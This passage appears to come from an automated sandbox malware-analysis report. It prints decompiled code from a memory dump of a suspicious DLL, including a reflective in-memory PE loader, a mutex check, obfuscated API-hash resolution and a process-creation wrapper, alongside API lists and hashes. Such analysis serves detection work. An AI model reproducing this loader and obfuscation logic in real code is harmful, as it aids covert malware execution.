																		_t390 = 0;
																		if((_t329 - 0x00000008 & 0xfffffffe) > 0) {
																			_t369 = _v72;
																			do {
																				_t270 =  *_t354 & 0x0000ffff;
																				if((_t270 & 0x0000f000) == 0x3000) {
																					 *((intOrPtr*)((_t270 & 0x00000fff) + _t369)) =  *((intOrPtr*)((_t270 & 0x00000fff) + _t369)) + _v68;
																				}
																				_t329 =  *((intOrPtr*)(_t301 + 4));
																				_t390 = _t390 + 1;
																				_t354 =  &(_t354[1]);
																			} while (_t390 < _t329 - 8 >> 1);
																		}
																		_t267 =  *((intOrPtr*)(_t301 + _t329));
																		_t301 = _t301 + _t329;
																		_t353 = _v56;
																	} while (_t267 != 0);
																	_t362 = _v76;
																}
																goto L51;
															} else {
																_t240 = 0;
															}
														}
														 *(_t362 + 0x18) = _t240;
														if(E6EFBB920(_t362) == 0) {
															goto L33;
														} else {
															_t298 =  *_t362;
															_t379 = ( *(_t298 + 0x14) & 0x0000ffff) + _t298;
															_t242 =  *(_t379 + 0x20);
															_t318 =  ~( *(_t362 + 0x40)) & _t242;
															_t346 =  *((intOrPtr*)(_t379 + 0x28));
															_v64 = _t242;
															_v96 = _t242;
															_v68 = _t318;
															_v92 = _t318;
															if(_t346 == 0) {
																_t266 =  *(_t379 + 0x3c);
																if((_t266 & 0x00000040) == 0) {
																	if(_t266 < 0) {
																		_t346 =  *((intOrPtr*)(_t298 + 0x24));
																	}
																} else {
																	_t346 =  *((intOrPtr*)(_t298 + 0x20));
																}
															}
															_t319 =  *(_t379 + 0x3c);
															_v88 = _t346;
															_v84 = _t319;
															_v80 = 0;
															_v72 = 1;
															if(1 >=  *(_t298 + 6)) {
																L75:
																_v80 = 1;
																_t244 = E6EFBB860(_t298, _t362,  &_v96, _t362, _t379); // executed
																if(_t244 == 0) {
																	goto L33;
																} else {
																	_t348 =  *_t362;
																	_t321 = _t348;
																	_t380 =  *((intOrPtr*)(_t348 + 0xc0));
																	if(_t380 != 0) {
																		_t299 =  *((intOrPtr*)(_t362 + 4));
																		_t384 =  *((intOrPtr*)(_t380 + _t299 + 0xc));
																		if(_t384 != 0) {
																			_t253 =  *_t384;
																			if(_t253 != 0) {
																				do {
																					 *_t253(_t299, 1, 0);
																					_t253 =  *((intOrPtr*)(_t384 + 4));
																					_t384 = _t384 + 4;
																				} while (_t253 != 0);
																				_t321 =  *_t362;
																			}
																		}
																	}
																	_t245 =  *((intOrPtr*)(_t321 + 0x28));
																	if(_t245 == 0) {
																		 *(_t362 + 0x38) = 0;
																		return E6EFBC65E(_v8 ^ _t396);
																	} else {
																		_t248 = _t245 + _v60;
																		if( *(_t362 + 0x14) == 0) {
																			 *(_t362 + 0x38) = _t248;
																			return E6EFBC65E(_v8 ^ _t396);
																		} else {
																			 *(_t362 + 0x3c) = _t248;
																			 *(_t362 + 0x10) = 1;
																			return E6EFBC65E(_v8 ^ _t396);
																		}
																	}
																}
															} else {
																_t255 = _t379 + 0x64;
																_v48 = _t255;
																do {
																	_v56 =  *((intOrPtr*)(_t255 - 0x1c));
																	_t367 =  *((intOrPtr*)(_t255 - 0x14));
																	_t388 =  ~( *(_t362 + 0x40)) & _v56;
																	_v52 = _t367;
																	_t362 = _v76;
																	if(_t367 == 0) {
																		if(( *_t255 & 0x00000040) == 0) {
																			if(( *_t255 & 0x00000080) != 0) {
																				_t368 =  *((intOrPtr*)(_t298 + 0x24));
																				goto L65;
																			}
																		} else {
																			_t368 =  *((intOrPtr*)(_t298 + 0x20));
																			L65:
																			_v52 = _t368;
																			_t362 = _v76;
																		}
																	}
																	if(_v68 == _t388) {
																		L71:
																		_t319 = _t319 |  *_t255;
																		asm("bt eax, 0x19");
																		if(_t319 >= 0) {
																			_t319 = _t319 & 0xfdffffff;
																		}
																		_t346 = _v52 - _v64 + _v56;
																		_t258 = _v48;
																		goto L74;
																	} else {
																		if(_v64 + _t346 > _t388) {
																			_t255 = _v48;
																			goto L71;
																		} else {
																			_t263 = E6EFBB860(_t298, _t362,  &_v96, _t362, _t388); // executed
																			if(_t263 == 0) {
																				goto L33;
																			} else {
																				_t264 = _v56;
																				_t346 = _v52;
																				_t298 =  *_t362;
																				_v64 = _t264;
																				_v96 = _t264;
																				_t265 = _t388;
																				_v68 = _t265;
																				_v92 = _t265;
																				_t258 = _v48;
																				_t319 =  *_t258;
																				goto L74;
																			}
																		}
																	}
																	goto L89;
																	L74:
																	_v48 =  &(_t258[0xa]);
																	_t379 = _v72 + 1;
																	_v84 = _t319;
																	_t255 = _v48;
																	_v88 = _t346;
																	_v72 = _t379;
																} while (_t379 < ( *(_t298 + 6) & 0x0000ffff));
																goto L75;
															}
														}
													} else {
														_t302 = _t237 + _t314;
														do {
															_t333 =  *((intOrPtr*)(_t302 + 4));
															if(_t333 != 0) {
																if(_v56 <  *((intOrPtr*)(_t302 + 8)) + _t333) {
																	SetLastError(0xd);
																	goto L33;
																} else {
																	_t279 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x1c))))( *_t302 + _t345, _t333, 0x1000, 4,  *(_t362 + 0x34)); // executed
																	_t397 = _t397 + 0x14;
																	if(_t279 == 0) {
																		goto L33;
																	} else {
																		_t392 =  *_t302 + _v52;
																		E6EFBDD40(_t392,  *((intOrPtr*)(_t302 + 8)) + _v48,  *((intOrPtr*)(_t302 + 4)));
																		 *((intOrPtr*)(_t302 - 4)) = _t392;
																		goto L26;
																	}
																}
															} else {
																_t395 =  *((intOrPtr*)( &(_v48[0xe]) + _v72));
																if(_t395 <= 0) {
																	goto L27;
																} else {
																	_t288 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x1c))))( *_t302 + _t345, _t395, 0x1000, 4,  *(_t362 + 0x34));
																	_t397 = _t397 + 0x14;
																	if(_t288 == 0) {
																		goto L33;
																	} else {
																		 *((intOrPtr*)(_t302 - 4)) =  *_t302 + _v52;
																		E6EFBD230(_t362,  *_t302 + _v52, 0, _t395);
																		L26:
																		_t345 = _v52;
																		_t397 = _t397 + 0xc;
																		goto L27;
																	}
																}
															}
															goto L89;
															L27:
															_t314 =  *_t362;
															_t302 = _t302 + 0x28;
															_t394 = _v64 + 1;
															_v64 = _t394;
														} while (_t394 < ( *(_t314 + 6) & 0x0000ffff));
														_t297 = _v68;
														goto L29;
													}
												}
											} else {
												VirtualFree(_v60, _t212, 0x8000);
												goto L15;
											}
										} else {
											_t293 = VirtualAlloc(_t209, _t361, 0x3000, 4);
											_v60 = _t293;
											if(_t293 == 0) {
												L15:
												_push(0xe);
												L88:
												SetLastError();
												return E6EFBC65E(_v8 ^ _t396);
											} else {
												goto L13;
											}
										}
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L89:
			}

0x6efbbb36
0x6efbbb3d
0x6efbbb43
0x6efbbb45
0x6efbbb46
0x6efbbb48
0x6efbbb4b
0x6efbbb4e
0x6efbbb52
0x6efbbb72
0x6efbbb72
0x00000000
0x6efbbb54
0x6efbbb5c
0x6efbc0b0
0x6efbc0b0
0x00000000
0x6efbbb62
0x6efbbb62
0x6efbbb62
0x6efbbb65
0x6efbbb68
0x6efbbb70
0x6efbbb80
0x6efbbb83
0x6efbbb86
0x00000000
0x6efbbb9b
0x6efbbb9b
0x6efbbba1
0x00000000
0x6efbbba7
0x6efbbbab
0x6efbbbaf
0x6efbbbb4
0x6efbbbb6
0x6efbbbb8
0x6efbbbb8
0x6efbbbbb
0x6efbbbc0
0x6efbbbc3
0x6efbbbc8
0x6efbbbcb
0x6efbbbcd
0x6efbbbd0
0x6efbbbd0
0x6efbbbb8
0x6efbbbd9
0x6efbbbdf
0x6efbbbe8
0x6efbbbf2
0x6efbbbf8
0x00000000
0x6efbbbfe
0x6efbbc0f
0x6efbbc11
0x6efbbc16
0x6efbbc2a
0x6efbbc33
0x6efbbc39
0x6efbbc3f
0x6efbbc41
0x6efbbc46
0x6efbbc64
0x6efbbc71
0x6efbbc78
0x6efbbc7b
0x6efbbc82
0x6efbbc89
0x6efbbc90
0x6efbbc97
0x6efbbca1
0x6efbbcae
0x6efbbde2
0x6efbbde5
0x6efbbdea
0x6efbbded
0x6efbbdf2
0x6efbbdf4
0x6efbbdf9
0x6efbbe00
0x6efbbe00
0x6efbbe03
0x6efbbe08
0x6efbbe11
0x6efbbe13
0x6efbbe16
0x6efbbe16
0x6efbbe19
0x6efbbe1a
0x6efbbe00
0x6efbbe20
0x6efbbe25
0x6efbbe25
0x6efbbe28
0x6efbbe2d
0x6efbbe3d
0x6efbbe3f
0x6efbbe49
0x6efbbe61
0x6efbbcb4
0x6efbbcc1
0x6efbbcc6
0x6efbbccc
0x6efbbcd4
0x6efbbcda
0x6efbbce4
0x6efbbce8
0x6efbbcea
0x6efbbced
0x6efbbcef
0x6efbbcf2
0x6efbbcf9
0x6efbbd00
0x6efbbdb7
0x6efbbdba
0x6efbbdbd
0x6efbbdc0
0x6efbbecd
0x6efbbecd
0x6efbbdc6
0x6efbbdcd
0x6efbbe62
0x6efbbe6b
0x6efbbe6d
0x6efbbe70
0x6efbbe74
0x6efbbe76
0x6efbbe76
0x6efbbe7b
0x6efbbe7e
0x6efbbe81
0x6efbbe8b
0x6efbbe8d
0x6efbbe90
0x6efbbe90
0x6efbbea1
0x6efbbeab
0x6efbbeab
0x6efbbeae
0x6efbbeb1
0x6efbbeb2
0x6efbbeba
0x6efbbe90
0x6efbbebe
0x6efbbec1
0x6efbbec3
0x6efbbec6
0x6efbbeca
0x6efbbeca
0x00000000
0x6efbbdd3
0x6efbbdd3
0x6efbbdd3
0x6efbbdcd
0x6efbbed4
0x6efbbede
0x00000000
0x6efbbee4
0x6efbbee4
0x6efbbeef
0x6efbbef1
0x6efbbef4
0x6efbbef6
0x6efbbef9
0x6efbbefc
0x6efbbeff
0x6efbbf02
0x6efbbf07
0x6efbbf09
0x6efbbf0e
0x6efbbf17
0x6efbbf19
0x6efbbf19
0x6efbbf10
0x6efbbf10
0x6efbbf10
0x6efbbf0e
0x6efbbf1c
0x6efbbf24
0x6efbbf27
0x6efbbf2a
0x6efbbf31
0x6efbbf3c
0x6efbc005
0x6efbc008
0x6efbc011
0x6efbc018
0x00000000
0x6efbc01e
0x6efbc01e
0x6efbc020
0x6efbc022
0x6efbc02a
0x6efbc02c
0x6efbc02f
0x6efbc035
0x6efbc037
0x6efbc03b
0x6efbc040
0x6efbc045
0x6efbc047
0x6efbc04a
0x6efbc04d
0x6efbc051
0x6efbc051
0x6efbc03b
0x6efbc035
0x6efbc053
0x6efbc058
0x6efbc096
0x6efbc0af
0x6efbc05a
0x6efbc05a
0x6efbc061
0x6efbc080
0x6efbc095
0x6efbc063
0x6efbc063
0x6efbc068
0x6efbc07f
0x6efbc07f
0x6efbc061
0x6efbc058
0x6efbbf42
0x6efbbf42
0x6efbbf45
0x6efbbf50
0x6efbbf53
0x6efbbf59
0x6efbbf5e
0x6efbbf63
0x6efbbf66
0x6efbbf69
0x6efbbf6e
0x6efbbf78
0x6efbbf7a
0x00000000
0x6efbbf7a
0x6efbbf70
0x6efbbf70
0x6efbbf7d
0x6efbbf7d
0x6efbbf80
0x6efbbf80
0x6efbbf6e
0x6efbbf86
0x6efbbfc3
0x6efbbfc9
0x6efbbfcb
0x6efbbfcf
0x6efbbfd1
0x6efbbfd1
0x6efbbfdd
0x6efbbfe0
0x00000000
0x6efbbf88
0x6efbbf8f
0x6efbbfc0
0x00000000
0x6efbbf91
0x6efbbf96
0x6efbbf9d
0x00000000
0x6efbbfa3
0x6efbbfa3
0x6efbbfa6
0x6efbbfa9
0x6efbbfab
0x6efbbfae
0x6efbbfb1
0x6efbbfb3
0x6efbbfb6
0x6efbbfb9
0x6efbbfbc
0x00000000
0x6efbbfbc
0x6efbbf9d
0x6efbbf8f
0x00000000
0x6efbbfe3
0x6efbbfe9
0x6efbbfec
0x6efbbff3
0x6efbbff6
0x6efbbff9
0x6efbbffc
0x6efbbffc
0x00000000
0x6efbbf50
0x6efbbf3c
0x6efbbd06
0x6efbbd06
0x6efbbd10
0x6efbbd10
0x6efbbd15
0x6efbbd60
0x6efbbddc
0x00000000
0x6efbbd62
0x6efbbd75
0x6efbbd77
0x6efbbd7c
0x00000000
0x6efbbd7e
0x6efbbd89
0x6efbbd8e
0x6efbbd93
0x00000000
0x6efbbd93
0x6efbbd7c
0x6efbbd17
0x6efbbd1d
0x6efbbd23
0x00000000
0x6efbbd25
0x6efbbd38
0x6efbbd3a
0x6efbbd3f
0x00000000
0x6efbbd45
0x6efbbd4e
0x6efbbd51
0x6efbbd96
0x6efbbd96
0x6efbbd99
0x00000000
0x6efbbd99
0x6efbbd3f
0x6efbbd23
0x00000000
0x6efbbd9c
0x6efbbd9c
0x6efbbd9e
0x6efbbda4
0x6efbbda5
0x6efbbdac
0x6efbbdb4
0x00000000
0x6efbbdb4
0x6efbbd00
0x6efbbc48
0x6efbbc51
0x00000000
0x6efbbc51
0x6efbbc18
0x6efbbc21
0x6efbbc23
0x6efbbc28
0x6efbbc57
0x6efbbc57
0x6efbc0b5
0x6efbc0b5
0x6efbc0cd
0x00000000
0x00000000
0x00000000
0x6efbbc28
0x6efbbc16
0x6efbbbf8
0x6efbbba1
0x00000000
0x00000000
0x00000000
0x6efbbb70
0x6efbbb5c
0x00000000

APIs

GetNativeSystemInfo.KERNELBASE(?,-00000017,02AA6D88,00000000), ref: 6EFBBBD9
VirtualAlloc.KERNELBASE(?,?,00003000,00000004), ref: 6EFBBC0F
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 6EFBBC21
HeapAlloc.KERNEL32(00000000), ref: 6EFBBC39
VirtualFree.KERNEL32(?,00000000,00008000), ref: 6EFBBC51

Part of subcall function 6EFBB840: SetLastError.KERNEL32(0000000D,6EFBBCAC), ref: 6EFBB846

VirtualAlloc.KERNELBASE(?,?,00001000,00000004), ref: 6EFBBCC1
SetLastError.KERNEL32(0000000D), ref: 6EFBBDDC
HeapFree.KERNEL32(00000000), ref: 6EFBBE49
SetLastError.KERNEL32(0000000D,-00000017,02AA6D88,00000000), ref: 6EFBC0B5

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual$ErrorLast$FreeHeap$InfoNativeSystem
String ID:
API String ID: 2732102410-0
Opcode ID: c334513c9c31199015fcbac3037729a72fd82b67cc898727f2c0be4b2a9939e0
Instruction ID: 755dbcde2a755651c88a6ce0a412f1e1ae1c3c4dab92bbc13f1e0a5aaac3559b
Opcode Fuzzy Hash: c334513c9c31199015fcbac3037729a72fd82b67cc898727f2c0be4b2a9939e0
Instruction Fuzzy Hash: E6129B71A006199FDB14CFAAC8E0B9AB7B5FF88304F148569E919EB349D731E851CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EFA1000, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 8
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFA1000() {
				long _t2;
				intOrPtr* _t4;

				CreateMutexA(0, 1, "7ce3e80173264ea19b05306b865eadf9"); // executed
				_t2 = GetLastError();
				 *_t4 =  *_t4 + _t2;
				return _t2;
			}

0x6efa100b
0x6efa1011
0x6efa1017
0x6efa101a

APIs

CreateMutexA.KERNELBASE(00000000,00000001,7ce3e80173264ea19b05306b865eadf9,6EFA1029,6EFA10E6,6EFB9D3B,00000001,00000000), ref: 6EFA100B
GetLastError.KERNEL32 ref: 6EFA1011

Strings

7ce3e80173264ea19b05306b865eadf9, xrefs: 6EFA1000, 6EFA1006

Memory Dump Source

Source File: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID: 7ce3e80173264ea19b05306b865eadf9
API String ID: 1925916568-3969796594
Opcode ID: 00ff43f48b9c76bcdcf07fdbe4018befc2ced5a6575bfeb5329a9e0fa5e2e76b
Instruction ID: de0e2d0513cf9e5726ec75f05fffa2f745055d3074a0f1e32b3fd50e66857e48
Opcode Fuzzy Hash: 00ff43f48b9c76bcdcf07fdbe4018befc2ced5a6575bfeb5329a9e0fa5e2e76b
Instruction Fuzzy Hash: A9C04CB0175A14FBDB406B60D849B383671ABC1712F024514B34144084D6A134408B21

Uniqueness

Uniqueness Score: -1.00%

Function 100231D2, Relevance: 1.6, APIs: 1, Instructions: 77
processCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E100231D2(void* __ecx, WCHAR* __edx, intOrPtr _a8, intOrPtr _a12, WCHAR* _a16, struct _STARTUPINFOW* _a28, intOrPtr _a32, intOrPtr _a36, struct _PROCESS_INFORMATION* _a48, int _a52, intOrPtr _a56) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t54;
				int _t63;
				signed int _t65;
				WCHAR* _t71;

				_push(_a56);
				_t71 = __edx;
				_push(_a52);
				_push(_a48);
				_push(0);
				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(0);
				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(__edx);
				E10022523(_t54);
				_v28 = 0x2cec17;
				_v24 = 0;
				_v16 = 0x5aadab;
				_v16 = _v16 << 3;
				_v16 = _v16 >> 0xc;
				_v16 = _v16 ^ 0x000031a8;
				_v12 = 0x82119f;
				_v12 = _v12 >> 2;
				_v12 = _v12 + 0xffff09c3;
				_t65 = 0x25;
				_v12 = _v12 / _t65;
				_v12 = _v12 ^ 0x0004d7f2;
				_v8 = 0x7cd8a6;
				_v8 = _v8 >> 6;
				_v8 = _v8 | 0x702a8e48;
				_v8 = _v8 + 0xffff37f0;
				_v8 = _v8 ^ 0x702d019b;
				_v20 = 0x367fb2;
				_v20 = _v20 + 0xffff7ba2;
				_v20 = _v20 ^ 0x003ae9c9;
				E10002309(0x2e4, _t65, _t65, 0xbf8568a3, _t65, 0x9c9047d0);
				_t63 = CreateProcessW(_t71, _a16, 0, 0, _a52, 0, 0, 0, _a28, _a48); // executed
				return _t63;
			}

0x100231da
0x100231df
0x100231e1
0x100231e4
0x100231e7
0x100231e8
0x100231e9
0x100231ec
0x100231ef
0x100231f2
0x100231f3
0x100231f4
0x100231f7
0x100231fa
0x100231fd
0x100231fe
0x10023200
0x10023205
0x1002320f
0x10023214
0x1002321b
0x1002321f
0x10023223
0x1002322a
0x10023231
0x10023235
0x10023241
0x10023249
0x1002324c
0x10023253
0x1002325a
0x1002325e
0x10023265
0x1002326c
0x10023273
0x1002327a
0x10023281
0x100232a1
0x100232bb
0x100232c2

APIs

CreateProcessW.KERNELBASE(000C0354,?,00000000,00000000,?,00000000,00000000,00000000,229292B4,?), ref: 100232BB

Memory Dump Source

Source File: 00000005.00000002.259008472.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.258992428.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.259056057.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction ID: db286c9e9bcad3bd2e87b522c53d89c9dfc5ed19f2ace101bae5327955dfaec9
Opcode Fuzzy Hash: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction Fuzzy Hash: 21311476801248BBCF65DF96CD49CDFBFB5FB89704F108188F914A6220D3B58A60DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBB860, Relevance: 1.6, APIs: 1, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6EFBB860(void* __ebx, intOrPtr* __ecx, void** __edx, void* __edi, void* __esi) {
				signed int _v8;
				long _v12;
				signed int _t20;
				int _t32;
				signed int _t41;
				intOrPtr* _t42;
				signed int _t45;
				long _t52;
				unsigned int _t54;
				void* _t56;
				signed int _t57;

				_t42 = __ecx;
				_t20 =  *0x6efe609c; // 0x6fb7da39
				_v8 = _t20 ^ _t57;
				_t52 = __edx[2];
				if(_t52 == 0) {
					L8:
					return E6EFBC65E(_v8 ^ _t57);
				} else {
					_t54 = __edx[3];
					if((_t54 & 0x02000000) == 0) {
						_t45 =  *(((_t54 >> 0x0000001d & 0x00000001) << 4) + 0x6efcd178);
						_t31 =  ==  ? _t45 : _t45 | 0x00000200;
						_t32 = VirtualProtect( *__edx, _t52,  ==  ? _t45 : _t45 | 0x00000200,  &_v12); // executed
						if(_t32 != 0) {
							goto L8;
						} else {
							return E6EFBC65E(_v8 ^ _t57);
						}
					} else {
						_t56 =  *__edx;
						if(_t56 == __edx[1]) {
							if(__edx[4] != 0) {
								L6:
								 *((intOrPtr*)( *((intOrPtr*)(_t42 + 0x20))))(_t56, _t52, 0x4000,  *((intOrPtr*)(_t42 + 0x34))); // executed
							} else {
								_t41 =  *(__ecx + 0x40);
								if( *((intOrPtr*)( *__ecx + 0x38)) == _t41 || _t52 % _t41 == 0) {
									goto L6;
								}
							}
						}
						goto L8;
					}
				}
			}

0x6efbb860
0x6efbb866
0x6efbb86d
0x6efbb872
0x6efbb877
0x6efbb8ba
0x6efbb8cd
0x6efbb879
0x6efbb879
0x6efbb882
0x6efbb8d9
0x6efbb8f0
0x6efbb8f7
0x6efbb8ff
0x00000000
0x6efbb901
0x6efbb910
0x6efbb910
0x6efbb884
0x6efbb884
0x6efbb889
0x6efbb890
0x6efbb8a6
0x6efbb8b3
0x6efbb892
0x6efbb894
0x6efbb89a
0x00000000
0x00000000
0x6efbb89a
0x6efbb8b8
0x00000000
0x6efbb889
0x6efbb882

APIs

VirtualProtect.KERNELBASE(?,?,?,?,00000000,?,?,6EFBC016), ref: 6EFBB8F7

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b9d5aa4b521d13aa16f400a7f708c0355c3b0a7ed7c0a7fdb3935ad08ebcd37d
Instruction ID: 79773b2ee59a78414690950c90721e147d669a52fb83e3c733607d3e560276ee
Opcode Fuzzy Hash: b9d5aa4b521d13aa16f400a7f708c0355c3b0a7ed7c0a7fdb3935ad08ebcd37d
Instruction Fuzzy Hash: 1A11D632B111059BEB50DEAAD890F5AF779FF85314F1505A9E808AF255DB32ED42C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 10004248, Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10004248() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t52;
				signed int _t53;

				_v24 = _v24 & 0x00000000;
				_v32 = 0xac8d12;
				_v28 = 0x59a528;
				_v12 = 0xae5295;
				_v12 = _v12 << 2;
				_t52 = 0xb;
				_v12 = _v12 / _t52;
				_v12 = _v12 ^ 0x0038a8c1;
				_v20 = 0xfd2184;
				_v20 = _v20 ^ 0xb7361747;
				_v20 = _v20 ^ 0xb7cc531f;
				_v8 = 0xac9b8;
				_t53 = 9;
				_v8 = _v8 / _t53;
				_v8 = _v8 << 0xd;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 ^ 0x00077309;
				_v16 = 0x4164cf;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x010bebe7;
				E10002309(0x37f, _t53, _t53, 0x8b1a77d6, _t53, 0x9c9047d0);
				ExitProcess(0);
			}

0x1000424e
0x10004254
0x1000425b
0x10004262
0x10004269
0x10004272
0x10004277
0x1000427c
0x10004283
0x1000428a
0x10004291
0x10004298
0x100042a2
0x100042aa
0x100042ad
0x100042b1
0x100042b5
0x100042bc
0x100042c3
0x100042c7
0x100042e7
0x100042f1

APIs

ExitProcess.KERNEL32(00000000), ref: 100042F1

Memory Dump Source

Source File: 00000005.00000002.259008472.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.258992428.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.259056057.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction ID: dec05fa3737df580d58ff145636bc0451a72c06ba1d5dcadd23311741e886f9d
Opcode Fuzzy Hash: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction Fuzzy Hash: B91128B5E00208EBDB44DFE5D94AADEBBF1FB44308F208089E515A7240D7B45B18CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC01B7, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6EFC01B7(void* __ecx, signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x6effe7c8, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E6EFC2E3C();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E6EFC01A4(__eflags))) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E6EFC2A43(_t15, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(__eflags == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

APIs

RtlAllocateHeap.NTDLL(00000008,0000BC00,00000000,?,6EFC11DC,00000001,00000364,00000006,000000FF,?,6EFBC421,0000BC00,6EFFE844,00000000), ref: 6EFC01F8

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d0d0c27c284e38f402c8f3043d6fcc04ff06b6b542887c7253a7d081fc429fbe
Instruction ID: f9c1590f3468623254e23be2ff380a915bc892758faee52e7360dcdc8a533fea
Opcode Fuzzy Hash: d0d0c27c284e38f402c8f3043d6fcc04ff06b6b542887c7253a7d081fc429fbe
Instruction Fuzzy Hash: 17F0BBB254062757FB555AE68C34B8B774CDF82F74F305012AC38A7140EBB0D50286E3

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBFEB1, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EFBFEB1(void* __ecx, long _a4) {
				void* _t4;
				void* _t6;
				void* _t7;
				long _t8;

				_t7 = __ecx;
				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E6EFC01A4(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x6effe7c8, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E6EFC2E3C();
					if(__eflags == 0) {
						goto L7;
